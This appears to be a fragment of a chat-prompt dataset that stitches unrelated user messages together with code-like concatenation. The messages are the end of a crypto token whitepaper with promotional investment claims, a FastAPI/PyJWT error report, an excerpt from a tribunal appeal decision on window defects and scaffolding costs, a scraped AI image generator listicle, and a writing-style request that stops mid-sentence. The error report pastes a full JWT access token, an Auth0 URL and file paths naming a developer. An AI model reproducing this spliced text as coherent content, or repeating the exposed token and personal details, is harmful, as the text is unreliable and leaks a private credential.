technology\n\nImpact investors or venture capital firms interested in investing in sustainable food and agriculture startups.\n\n9. Roadmap\nPhase 1 (Q1 - Q2 2021): Development of the Fresh Earth Token and the Fresh Earth ecosystem's technical infrastructure.\n\nPhase 2 (Q3 - Q4 2021): Testing and validation of the Fresh Earth ecosystem and its components, including the B2B and B2C marketplaces, Project Management Platform, Data Managment Platform, and Rewards System.\n\nPhase 3 (Q1 2022): Launch of the Fresh Earth Token and the Fresh Earth ecosystem. This includes the release of the Fresh Earth Token on a decentralized exchange (DEX) and the launch of the B2B and B2C marketplaces, as well as the Project Management Platform.\n\nPhase 4 (Q2 - Q3 2022): Expansion of the Fresh Earth ecosystem to include more farmers, consumers, and investors. This includes the development of partnerships with organizations that support regenerative agriculture and the establishment of a network of experts and stakeholders who can contribute to the development and validation of regenerative systems.\n\nPhase 5 (Q4 2022 - Q1 2023): Implementation of key performance indicators (KPIs) to measure and validate the impact of regenerative practices, and the potential for external funding from government schemes such as carbon trading.\n\nPhase 6 (Q2 2023 and beyond): Continuous improvement and expansion of the Fresh Earth ecosystem, including the development of new features and services that promote sustainable practices and drive progress in regenerative agriculture.\n\n10. Legal\n11. Conclusion\nThe Fresh Earth ecosystem represents a revolutionary solution for transforming the agri-food industry and addressing issues of climate change, health, and food security. The ecosystem is designed to incentivize participation and engagement of stakeholders, including farmers, consumers, and investors, in order to ensure that the ecosystem is moving towards its goal of regenerating land and promoting sustainable practices. The Fresh Earth Token is the core of the ecosystem and serves as a store of value and a tool for generating verifiable impact within the ecosystem.\n\nThe ecosystem includes a variety of different components, including a B2B marketplace, B2C marketplace, Project Management Platform, Data Managment Platform, and Rewards System. These components work together to create a comprehensive, community-based food system that empowers individuals and businesses to take control of their food sources and improve the quality and nutritional density of the food they consume.\n\nThe impact outcomes of the Fresh Earth ecosystem are validated with the use of key performance indicators (KPIs) such as carbon sequestration, biodiversity, water retention, and food nutritional density providing verified measurements of impact. This can be leveraged to secure external funding from government schemes.\n\nOverall, the Fresh Earth ecosystem is a innovative and sustainable solution for the agri-food industry, and the Fresh Earth Token plays a crucial role in driving participation, investment and the transition to regenerative practices. It is a transformative step towards a greener and more sustainable future for all.\n\nThe Fresh Earth ecosystem represents a unique opportunity for investors to participate in a revolutionary solution for transforming the agri-food industry and addressing issues of climate change, health, and food security. \n\n \n\nAdditional Resources \n\nAdditional resources for readers who want to learn more about the Fresh Earth ecosystem and the Fresh Earth Token, such as articles, videos, and links to the project's social media accounts.\n\nLinks to the Fresh Earth Token website and whitepaper\n\nLinks to the project's social media accounts (e.g. Twitter, Facebook, LinkedIn)\n\nArticles and reports on regenerative agriculture and its impact on the environment and food security\n\nVideos and webinars on the Fresh Earth ecosystem and its components\n\nResearch studies and data on the performance of regenerative agriculture\n\nCase studies of successful regenerative agriculture projects\n\nLinks to other relevant organizations and initiatives in the regenerative agriculture space\n\nBooks and publications on regenerative agriculture and related topics\n\nInfographics and other visual resources to help explain the Fresh Earth ecosystem and its impact." +'got this error: \n\nJWT access token: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IlFSX2ZuamF2V0pHNUs2X1h6elpEeSJ9.eyJpc3MiOiJodHRwczovL2Rldi03c3I0em14MjNuenJ6eHJ6LnVzLmF1dGgwLmNvbS8iLCJzdWIiOiJhdXRoMHw2NDIyZWNmODczOTk3NmI3NDcwZTgzZjciLCJhdWQiOlsiaHR0cHM6Ly9hcGkud2hpbXN5YXBwLmNvbSIsImh0dHBzOi8vZGV2LTdzcjR6bXgyM256cnp4cnoudXMuYXV0aDAuY29tL3VzZXJpbmZvIl0sImlhdCI6MTY4MDEwNjkyMCwiZXhwIjoxNjgwMTkzMzIwLCJhenAiOiIwWkZJOEVWOTZiUGlGb3NSVk02ckNuWGZxMXJzQUxSeiIsInNjb3BlIjoib3BlbmlkIHByb2ZpbGUgZW1haWwifQ.ceums1\\_3\\_wQgBSJLxYq0iLbNTzPzMTjQL9nbijLH01WH1SbiadYQ3J8vcv-byXoxG3sVcqM77cQLPm-AsJRzA-dC2TI4\\_OidNLBhPRimE0kjXWtr3whMURkuZPXEcbgIoZZgXds-6Z3BV5F-iyK-39eMPJ4GbiGAojwz49fhXivXyM3KYhpbUwoEXqTBCvAdo3zxOXn8BUOW7alc-fel9MdbmDrRlMt4B\\_dbgDnApiZbvVwOv1doiqozDKXmJ-zjV4g2fJesf36jFJXkVV3JKry7MfqHR7uW2KEyGr-zgN3jxuCvHcRivFhjAj2wy2crCkAYDSII9a6jlMoSbEoNcA\nJWKS URI: https://dev-7sr4zmx23nzrzxrz.us.auth0.com/.well-known/jwks.json\nINFO: 127.0.0.1:63718 - "POST /checkout HTTP/1.1" 500 Internal Server Error\nERROR: Exception in ASGI application\nTraceback (most recent call last):\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/uvicorn/protocols/http/h11\\_impl.py", line 373, in run\\_asgi\n result = await app(self.scope, self.receive, self.send)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/uvicorn/middleware/proxy\\_headers.py", line 75, in \\_\\_call\\_\\_\n return await self.app(scope, receive, send)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/fastapi/applications.py", line 276, in \\_\\_call\\_\\_\n await super().\\_\\_call\\_\\_(scope, receive, send)\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/starlette/applications.py", line 122, in \\_\\_call\\_\\_\n await self.middleware\\_stack(scope, receive, send)\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/starlette/middleware/errors.py", line 184, in \\_\\_call\\_\\_\n raise exc\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/starlette/middleware/errors.py", line 162, in \\_\\_call\\_\\_\n await self.app(scope, receive, \\_send)\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/starlette/middleware/cors.py", line 92, in \\_\\_call\\_\\_\n await self.simple\\_response(scope, receive, send, request\\_headers=headers)\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/starlette/middleware/cors.py", line 147, in simple\\_response\n await self.app(scope, receive, send)\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/starlette/middleware/exceptions.py", line 79, in \\_\\_call\\_\\_\n raise exc\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/starlette/middleware/exceptions.py", line 68, in \\_\\_call\\_\\_\n await self.app(scope, receive, sender)\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/fastapi/middleware/asyncexitstack.py", line 21, in \\_\\_call\\_\\_\n raise e\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/fastapi/middleware/asyncexitstack.py", line 18, in \\_\\_call\\_\\_\n await self.app(scope, receive, send)\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/starlette/routing.py", line 718, in \\_\\_call\\_\\_\n await route.handle(scope, receive, send)\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/starlette/routing.py", line 276, in handle\n await self.app(scope, receive, send)\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/starlette/routing.py", line 66, in app\n response = await func(request)\n ^^^^^^^^^^^^^^^^^^^\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/fastapi/routing.py", line 227, in app\n solved\\_result = await solve\\_dependencies(\n ^^^^^^^^^^^^^^^^^^^^^^^^^\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/fastapi/dependencies/utils.py", line 623, in solve\\_dependencies\n solved = await run\\_in\\_threadpool(call, \\*\\*sub\\_values)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/starlette/concurrency.py", line 41, in run\\_in\\_threadpool\n return await anyio.to\\_thread.run\\_sync(func, \\*args)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/anyio/to\\_thread.py", line 31, in run\\_sync\n return await get\\_asynclib().run\\_sync\\_in\\_worker\\_thread(\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/anyio/\\_backends/\\_asyncio.py", line 937, in run\\_sync\\_in\\_worker\\_thread\n return await future\n ^^^^^^^^^^^^\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/anyio/\\_backends/\\_asyncio.py", line 867, in run\n result = context.run(func, \\*args)\n ^^^^^^^^^^^^^^^^^^^^^^^^\n File "/Users/abhishekpillai/Development/whimsyworks/api/auth/dependencies.py", line 7, in validate\\_token\n return JsonWebToken(token).validate()\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "/Users/abhishekpillai/Development/whimsyworks/api/auth/json\\_web\\_token.py", line 25, in validate\n jwk\\_set = jwks\\_client.get\\_jwk\\_set()\n ^^^^^^^^^^^^^^^^^^^^^^^^^\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/jwt/jwks\\_client.py", line 62, in get\\_jwk\\_set\n return PyJWKSet.from\\_dict(data)\n ^^^^^^^^^^^^^^^^^^^^^^^^\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/jwt/api\\_jwk.py", line 102, in from\\_dict\n return PyJWKSet(keys)\n ^^^^^^^^^^^^^^\n File "/Users/abhishekpillai/Library/Caches/pypoetry/virtualenvs/api--nATVS6w-py3.11/lib/python3.11/site-packages/jwt/api\\_jwk.py", line 97, in \\_\\_init\\_\\_\n raise PyJWKSetError("The JWK Set did not contain any usable keys")\njwt.exceptions.PyJWKSetError: The JWK Set did not contain any usable keys' +'This is part 8 of my multiple messages. I will continue to send you further messages. If you understand then please say "acknowledged".\n\nGround 6 – failure to install small joint sealer\n\nThe appellant submitted that, in making a finding that the windows installed by the appellant were defective by reason of the appellant’s failure to utilise small joint sealer in the remanufacture of the windows, the Tribunal had relied upon evidence from Mr Brennan’s first report that he could not detect any gaskets or small joint sealer.\n\nThe appellant submitted that the Tribunal had failed to take into account concessions later made by Mr Brennan in his report in reply and in his oral evidence, that he had been wrong in his first report.\n\nThe appellant submitted that Mr Sim had identified small joint sealant in the junction of the joinery pieces in the windows which had been removed and left disassembled on site. The appellant submitted that in his report in reply, Mr Brennan, at 4.4, had conceded there was evidence of sealant “in some joints” but that “some joints were not sealed well enough”.\n\nThe appellant submitted that, in cross-examination, Mr Brennan had agreed that he had assumed in his first report that no small joint sealant had been used and that there was evidence of small joint sealant in some photos included in Mr Sim’s report. The appellant further submitted that Mr Brennan had “conceded that he did not know whether or not the small joint sealant had been applied correctly by BW in the process of manufacture”.\n\nThe respondents submitted that Mr Brennan had not conceded that the small joint sealant had been applied appropriately. The respondents referred to evidence given by Mr Brennan during the hearing that:\n\nAt some point there may have been small joint sealant in there and that was obvious later on when I had seen the other experts’ reports. However, it doesn’t mean it was applied correctly and evenly to every joint.\n\nThe respondents submitted that the appellant’s submissions overlooked the proposition that the windows leaked through the window frames. The respondents submitted that “the absence or presence of gaskets or small joint sealer contributed to the leaks in the windows but were not the substantial cause of the problem”.\n\nIn reply, the appellant noted that the respondents had conceded that the absence or presence of small joint sealer was not the substantial cause of the problem and submitted that “the absence of flashing was the substantial cause of the problem”. The appellant submitted that Mr Brennan had conceded in cross-examination that he did not know whether or not there were any shortcomings in the use of small joint sealant in the manufacturing process.\n\nConsideration – Ground 6\n\nIt is clear in our view that the appellant’s challenge to the Tribunal’s finding that the windows leaked by reason of the absence of small joint sealant does not raise any question of law. The appellant’s challenge is rather on the basis that the finding was against the weight of evidence or was not fair and equitable.\n\nThe finding of the Tribunal that the windows leaked by reason of the absence of small joint sealant was a finding of fact supported by the evidence of Mr Brennan. Contrary to appellant’s submissions, Mr Brennan did not at any time concede that the small joint sealant had been correctly applied within the windows. His only concession was that there was apparently some sealant within the windows but he could not say whether it had been correctly applied.\n\nWe are not persuaded that the finding of the Tribunal was against the weight of evidence or not fair and equitable. There was evidence that the windows were leaking and Mr Brennan gave evidence in his initial report that one reason for the leaking windows was the absence of gaskets or small joint sealant. Although he acknowledged in his reply report and in oral evidence that there was some sealant apparent within the windows, he did not resile from his evidence that one reason for the windows leaking was the absence of small joint sealant.\n\nMoreover, in circumstances where Mr Brennan’s evidence had clearly raised the issue whether gaskets or small joint sealant had been applied in the manufacture of the windows, the Tribunal was entitled to draw a Jones v Dunkel inference from the unexplained absence of evidence from any person who had been involved in the manufacture of the windows, that the evidence of any such person would not be of assistance to the appellant. By reason of that inference, the Tribunal could more readily accept the evidence of Mr Brennan that small joint sealant had not been properly installed.\n\nAccordingly, ground 6 must be rejected and leave to appeal on that ground must be refused.\n\nGround 7 – the cost of scaffolding\n\nThe appellant submitted that, in awarding $9,240 in respect of scaffolding, the Tribunal had failed to recognise that the respondents’ claim in respect of scaffolding had been reduced to $3,960 at the outset of the hearing.\n\nThe appellant submitted that Mr Sibilia in his evidence had initially relied upon a different document, which was an invoice dated 20 September 2019 in the amount of $9,240 for “scaffolding services rendered at the above site address”. The applicant submitted that that invoice clearly included charges for the hire of scaffolding for a period prior to the execution of the Deed.\n\nThe appellant submitted that the Deed released the appellant from liability in respect of the hire of scaffolding up to the date of the Deed.\n\nThe respondents submitted that the invoice for scaffolding in the sum of $9,240 was the cost incurred by the respondents in relation to the provision of scaffolding in the period after the execution of the Deed. The respondents also submitted:\n\n“In an effort to try and resolve the matter prior to the initial hearing, the respondents requested from the scaffolding company a quote for the two weeks that the scaffolding was in place to enable the appellant’s replacement defective windows to be removed and new Wideline windows installed with make good, noting that the removal of scaffolding and reinstallation of the Wideline windows would have been a far more expensive exercise than having the scaffolding there the whole time. This was confirmed by Mr Sibilia in evidence in his cross examination [T1556-1558]. This quote came in at $3,960 (inc GST).”\n\nThe respondents submitted that the Tribunal had awarded the sum of $9,240 “as per the invoice for scaffolding as the appellant had provided no independent evidence or market quote to the contrary”.\n\nIn the lines of the transcript of Mr Sibilia’s evidence referred to by the respondents, Mr Sibilia stated in relation to the original claim of $9,240:\n\n“That’s what I paid because the scaffolding was there for the period of time that – we’ve adjusted that to be – for the minimum period to cover the time between completion of windows by the [inaudible] and that’s been sent through. So we’ve adjusted that down.”\n\nIn its reply submissions the appellant explained the issue more clearly as follows:\n\nThe respondents initially claimed $9,240 on the basis of invoice No 1742 dated 20 September 2019.\n\nShortly before the hearing, BW served its Tender Bundle which included another invoice No 1742 from the same scaffolding firm, this time dated 17 December 2018 in the sum of $4,420. BW could not have been liable for this amount, as it was before the Deed of Release. Further, the existence of two invoices with the same number made the later invoice unreliable as evidence.\n\nFaced with this, the respondents reduced their claim for scaffolding to $3,960 incl GST at the outset of the hearing. This was on the basis of a different document, a “Quotation” (rather than an invoice) dated 3 March 2020.\n\nAfter the hearing, the respondents in their final written submissions maintained the reduced claim for $3,960.\n\nIn relation to the quote for $3,960 the appellant submitted:\n\n“There is no evidence to support the scaffolding hire claim for $3,960, as the quote dated 3 March 2020 produced by the respondents in support of this claim was not explained in evidence. The document certainly does not speak for itself in terms of damages caused by breach of contract.\n\nConsideration – Ground 7\n\nThe Tribunal’s reasoning in relation to the award of the cost of the scaffolding was as follows, at [59]:\n\n“I accept the uncontested evidence of Mr Sibilia … that due to the location of the three replacement windows, scaffolding had to be hired between 31 January 2019, when the windows were found to be leaking, until 15 September 2019 when the rectification work had finished. I award $9,240 for the scaffolding cost as per the invoice at Y4. I note that the respondent has provided no independent evidence or market quote to the contrary.”\n\nAlthough Mr Sibilia had stated in his affidavit that “due to the location of the three replacement windows, scaffolding had to be hired between 31 January 2019, when the windows were found to be leaking, until 15 September 2019 when the rectification work had finished”, no explanation was provided why it was necessary to have scaffolding in place for seven and a half months when the windows installed by the appellant were removed and the replacement Wideline windows were installed in June. In his cross-examination Mr Sibilia acknowledged (in the passage set out above) that the amount of $9,240 which the respondents had paid was for a longer period than was necessary for the removal of the defective windows and installation of the Wideline windows. The respondents had limited their claim at the hearing to the $3,960 set out in the quote and it is apparent from the transcript that he was cross-examined on the basis that the respondents’ claim had been so limited.\n\nShortly after the answer set out above Mr Sibilia gave the following evidence:\n\n“We said that we would look at these from the point of view that look at your claims and work out – I mean we also have rent [inaudible] but we struck that out and we’ve also looked at scaffolding and reduced it to a period of time that covers when the replacement windows were put in.”\n\nThe cross-examination then moved to other topics.\n\nThe respondents sought to suggest that it would have been much more expensive to erect fresh scaffolding and take it down again. However, the quote obtained by the respondents dated 3 March 2020 - which was provided by the scaffolding contractor who had rendered the invoice dated 20 September 2019, and must therefore be taken to have been familiar with the requirements for the installation of the scaffolding – indicates that the cost would have been substantially less.\n\nThe narration to the quote is:\n\n“To supply, deliver, erect, dismantle and remove aluminium scaffolding 450kg (SWL) from the above site address\n\nTo scaffold rear of house adjacent to windows”\n\nIn our view there was no evidence before the Tribunal to support the conclusion that the invoice for $9,240 was in its entirety a cost incurred in relation to the replacement of the windows. Mr Sibilia’s statement in his affidavit did not go that far and his evidence in cross-examination was to the contrary. Moreover, the quotation of March 2020 clearly indicates that the amount of $9,240 was well in excess of the cost of providing scaffolding for the purpose of replacing the windows.\n\nAs we have noted above, the onus lay upon the respondents to prove their damages including providing evidence to establish the cost of the scaffolding necessary for the replacement of the windows.\n\nIn our view the award of $9,240 was either made without evidence or was against the weight of evidence and not fair and equitable. To award the respondents an amount they had explicitly not sought at the hearing would involve a substantial miscarriage of justice to the appellant in circumstances where it is apparent that the cross-examination of Mr Sibilia was predicated on the fact that the respondents only sought the amount of the quote and not the whole amount paid. It follows that the award of $9,240 in respect of the cost of scaffolding must be set aside. To the extent necessary we would grant leave to appeal against the award of $9,240 in respect of the cost of scaffolding.\n\nNevertheless, we do not consider that the respondents should receive nothing for the cost of scaffolding. Mr Dalgleish suggested at the hearing of the appeal that an allowance of $1,000 would be appropriate. However, we consider that there is evidence of the cost of providing scaffolding for the removal and replacement of the windows. We do not accept the appellant’s submission that the quotation of 3 March 2020 is not evidence of the cost of scaffolding for the replacement of the windows. That document was provided by the contractor who had provided scaffolding for the construction project and correctly identified the relevant site and the location of the windows which required replacement.\n\nWhether or not the document would meet the requirements for admissibility under the Evidence Act, the laws of evidence do not apply in the Tribunal. We consider that the quotation is sufficient evidence to establish that the appropriate compensation in respect of the cost of scaffolding for the replacement of the windows was $3,960 inclusive of GST.\n\nWe note in this context that the quote included the cost of erection and dismantling of the scaffolding, which were costs in respect of which the builder had invoiced the respondents in the third of the builder’s invoices. As we have not allowed the respondents any compensation in respect of the builder’s invoices, there is no risk of double counting in awarding the respondents the full value of the quotation.\n\nAccordingly, we will reduce the judgment sum by a further $5,280 (the difference between $9,240 and $3,960).\n\nWe note that the amount awarded by the Tribunal, $50,771.69, is $2,090 less than the sum of the three amounts which the respondents claimed. This discrepancy was not explained in the decision. It is not necessary to explore that matter further. The amount to which we consider the respondents were entitled was $14,020 in respect of the supply of the windows and $3,960 for scaffolding. The sum of those figures is $17,980, which is the amount to which we will vary the amount of the judgment.' +'Can you from this text give me a numbered list of 11 AI image generators and what are they best at: "Skip to content\ndemandsage\nHome\nLatest\nReports\nBlog\nContact\n11+ Best AI Image Generators For Creators In 2022\nBy Shubham Singh / November 26, 2022\nBest AI Image Generators - DemandSage\nIt is rightly said that a picture can be worth a thousand words. In today’s digital world, you can paint a picture without picking up a brush. With our best AI image generators list, you can turn your words into mesmerizing images within a click!\n\nAI image generators are a boon for graphic designers, especially beginners still struggling to find ideas and inspiration for their projects. AI image generators eliminate the risk of copyright, meaning anyone can create personalized pictures without prior digital art experience. \n\nBest AI Image Generator — Jasper Art\n\nOur #1 pick for an AI Image generator is Jasper Art.🎯\nCreate unique and watermark-free images on Jasper Art.🔥\n\nGet Started With Jasper Art\n\nHowever, it is essential to find out which AI image generator can offer all the necessary features and tools that make it the perfect match for you. So in today’s post, we have hand-picked the best AI generators. \n\nWe understand that you might have a hard time believing us because of all the biased and fake reviews you have read till now. But do not worry, you are in safe hands now! \n\nSo without wasting any time, let’s get into the details!\n\nOur Top 6 Picks!\nIf you are in a hurry and do not have time to go through the entire article, here is a list of our top 6 favorite AI generators.\n\nAI Image Generator Best for \nJasper Art Best for creating images in different styles\nNightcafe Best for generating creative images \nDream by Wombo Best for beginners\nBigSleep Best for generating authentic images \nDeep AI Best for generating unique images \nDeep Dream Generator Best for creating realistic images\nList of 11+ Best AI Image Generators (2022)\nHere we will discuss the top 10 best AI image generators in-depth. Professionals and beginners most prefer these tools.\n\n1. Jasper Art\nRating 4.8/5\nEase Of Use 4.7/5\nJasper Art is the new feature of Jasper AI that they introduced in August 2022, and since then, it has been gaining a lot of popularity. This AI image generator can create images and art within a few seconds. It can turn your imagination in a few seconds.\n\nJasper-Art\nThe best part about Jasper Art is all the images you create with it are completely free of watermarks. The tool is still in the beta phase, where they are constantly working on improving its features. Now you can have the perfect image with your message. You no longer have to rely on stock images. We have also done a detailed Jasper Art review to explain it in detail.\n\nKey Features\n\nCreate unlimited unique images\nNo watermark on images\nDifferent styles available\nCreate images with a simple description\nCreates four images at once\nCosts $20/mo per user\n2. Starry AI\nRating 4.7/5\nEase of Use 4.8/5\nStarry AI is one of the best text-to-picture AI image generators available on the internet. Its unique granular tool enables you to create images with more personalization than other AI image generators. \n\nStarry AI has divided digital art generating into two sections to keep it super simple for its users. To create an image, you must enter your text and choose between Altair and Orion. \n\nBest AI Image Generator - StarryAi\nWhile Altair produces images that present abstractness, Orion creates pictures that depict fiction. The next step is choosing a style and setting a background for the pictures you make. \n\nKey Features \n\nMore than 16 styles \nEasy GAN AI art creation \nAspect ratios \nAllows complete ownership \nLatest updates available \nBeginner friendly \n3. Dream By Wombo\nRating 4.4/5\nEase of Use 4.8/5\nUnlike other AI image generators, Dream By Wombo offers unlimited image creation without any restrictions on its features and without any cost. This AI generator is the best option for people on a budget or students still in the learning process. \n\nDream By Wombo\nPlus, it is super simple to use Dream By Wombo. You must create your account, enter a text, and choose the style you want for your image. Once your picture is generated, you can save it or create another by selecting a different style. \n\nKey Features \n\nMobile friendly \nMultiple styles available \n100% ownership of generated images \nRecreate NFTs to enhance creativity \nHigh definition pictures \nEnables artwork to sell as NFTs\n4. Nightcafe\nRating 3.6/7\nEase of Use 4.7/8\nNightcafe is the ideal AI text-to-image generator to create authentic and creative images with simple words. You use the most basic English words to generate customized photos that will exactly depict what you want. \n\nIn addition, Nightcafe has several styles and creatives that are useful in generating versatile digital art. For example, the neural style transfer allows you to convert real-life photos into an artistic masterpiece. \n\nNightcafe\nWith its easy-to-use software, Nightcafe is ultimately beginner friendly. The appealing and convenient website interface allows anyone to create and enhance pictures within a single click. Moreover, every creation you make is saved permanently in your account, so you do not have to worry about separately storing it. \n\nKey Features \n\nDifferent style options \nCreate your own AI community \nEnables printing of high-quality creations\nLogo generator \nLow to the high resolution available \nStyle transfer\n5. Dall-E \nRating 4.5/5\nEase Of Use 4.3/5\nDall-E is a robust neural network that creates AI images from the simple English text. However, unlike other platforms, Dall-E is not directly open to all; to enter, you must register on the waitlist to use the platform soon. \n\nAlthough, the users eager to use the platform can experience its open version, i.e., Dall-E mini. The unique Ai technology of Dall-E mini surfs through captions present on the internet to match your words and from a precise depiction. \n\nDall-E \nThe best part about this AI image generator is you have to enter the text and click run. Dall-E mini will generate multiple options based on your text, and you can select the one you like the most. \n\nKey Features \n\nUnlimited images for free \nCombining polar concepts \nImage regeneration available \nDrawing multiple objects \n3D and visual perspective \nAnimal illustrations \n6. Pixray \nRating 4/5\nEase of Use 4.5/5\nPixray is a versatile text-to-image converter that works as an API, browser website, and PC application. Although Pixray has an elegant and straightforward interface, its inexplicable customizations and custom AI engine make it perfect for tech-savvy people. \n\nPixray \nWhile forming pictures . is a fun process with Pixray, its real potential comes in post-image creation when you head to settings. In the settings section,, you can transform your picture into different styles, convert them into video, edit them to be more creative, and maybe other available tools. \n\nKey Features\n\nPixel art generation\nGAN images \nLine-sketch images, \nFilter Images \nCustomize the quality of images \nFlexible integrations \nHigh-speed software \n7. Deep Dream Generator\nRating 3.8\nEase of Use 4.4/5\nDeep Dream Generator is known for its realistic and high-quality images. If you are looking for an AI image generator that creates pictures based on real-life Deep Dream Generator is the perfect match for you. \n\nDeep Dream Generator\nThe researchers at Google created it to provide everyone with easy and accessible image generating. So even if you do not have any experience, you can convert your words into a picture within seconds. This AI image generator’s specialty is making the photos look like they are from a different time or place. \n\nKey Features \n\nThree significant styles- Deep, Thin, and Deep Dream \nAnimal illustrations \nLandscapes and objects \nMultiple painting styles\nImage preview available \nDigital Analytics \n8. Deep AI\nRating 4.6/5\nEase of Use 4.1/5\nDeep AI is an exceptional AI image generator that aims to provide open source image creation to everyone. The Image Generator of Deep AI provides realistic images that maintain high resolution. \n\nDeep AI\nThe best part about Deep Ai is that you can create unlimited images, and none of them will match. It focuses on providing variety and diversity to its users. Moreover, you can customize the amount of detailing in every image, including textures and colors. \n\nKey Features \n\nResolution independent vector image \nStyleGAN \nBigGAN\nCartoonGAN\nImage colorization \nResponsive customer support \n9. BigSleep \nRating 4.4/5\nEase of Use 4.4/5\nBigSleep is one of the most preferred and renowned AI image generators in the market today. The reason is that BigSleep has robust software that generates life-like creations from scratch. \n\nBigSleep \nEven though BigSleep creates superior quality pictures, it has a highly easy-to-use platform that provides all the necessary features to assemble, edit and store your images safely. Moreover, BigSleep has a Python-based program that ensures the software’s speed and smooth running. \n\nKey Features \n\nGenerative adversarial network-based \nHigh-resolution image going up to 1024×1024\nDiscriminator tool \nOpen source \nDiversified image patterns \nBeginner friendly \n10. Artbreeder\nRating 4.5/5\nEase of Use 4.6/5\nArtbreeder is a unique AI image generator that uses a combination of pictures to form a single image. You can generate new, unique, and completely authentic images using the existing photos in your gallery with the help of Artbreeder.\n\nArtbreeder\nYou can get thousands of different and vivid art illustrations with a safe place to store them in your Artbreeder account. Moreover, the user interface of ArtBreed is super simple, making the website easy to navigate for beginners and professional graphic designers. \n\nKey Features \n\nDownload images in JPG or PNG\nOriginal photos in various styles and categories\nHigh resolution \nTransparent background \nBigGAN \nStyleGAN\nImage editing available \n11. Fotor AI Image Generator\nRating 4.5/5\nEase Of Use 4.4/5\nFotor is an amazing photo editing app that is used by millions all over the world. They recently launched their AI Image generator, and unlike other AI Image Generators, theirs is completely free of cost. It is also super easy to use.\n\nFotor AI Image Generator\nJust enter the text prompt in the box and hit the generate button, and watch it bring that text to life in just a few seconds. You can use Fotor’s AI Image Generator to create anime characters, realistic images, paintings, 3D images, and so on. It is the best option for beginners and advanced users alike.\n\nKey Features\n\nFind amazing prompts in their featured gallery\nGenerate up to 10 free images daily\nImage-to-image conversion model is also available\nGenerate images in just a few seconds\nNo limit on the text description\nCreate multiple images at once\nOther AI Tools:\n\nBest AI Writing Software\nBest AI Marketing Tools\nBest AI Sales Software\nWrapping Up! On Best AI Image Generator (2022)\nAn AI image generator can turn your thoughts into a digital painting with all the customization you want. However, some AI image generators are expensive, while others might not have what you are looking for. \n\nThat is why you must do your research thoroughly before investing in any AI image generator. If you have difficulty choosing a tool, go through all these features and see if it fits into your budget. Once you see that the AI image generator has everything you need, go for it. \n\nWe hope this article helped you select the best AI generator for you. Over to you, which is the best AI generator you? Let us know in the comments section below!\n\nFAQs\nWhich AI image generator is best for people with no experience in designing?\nAn AI image generator is supposed to convert your words into images. However, you know much about image formation and cannot perfectly edit your photos. In that case, you must try using Deep Dream Generator to create realistic and high-quality images. \n\nAre AI image generators a threat to existing artists?\nAlthough AI has been developing fast, the AI image generator cannot match the precision of an artist yet. \n\nWhich is the best free AI image generator?\nIf you are looking for an AI image generator to create good quality images without restrictions on features or picture quantity, Dream by Wombo is the ideal tool. \n\nAbout The Author\n\nShubham Singh\nHi there, I\'m brushing up on SEO and Affiliate Marketing. Kinda full-time dealing with websites, rankings, content, and all. On DemandSage, I\'m leading the content and SEO team.\nLeave a Comment\nYour email address will not be published. Required fields are marked \\*\nType here..\nType here..\nName\\*\nName\\*\nEmail\\*\nEmail\\*\nWebsite\nWebsite\n Save my name, email, and website in this browser for the next time I comment.\n\nScroll to Top"' +"Here is another example of my (Drongo's) writing, please analyze it and remember my style. Try to extract my personality from the writing and tell me who you think I am:\n\nThe roaring of the river slowed to a soft bubbling. He raised his arms 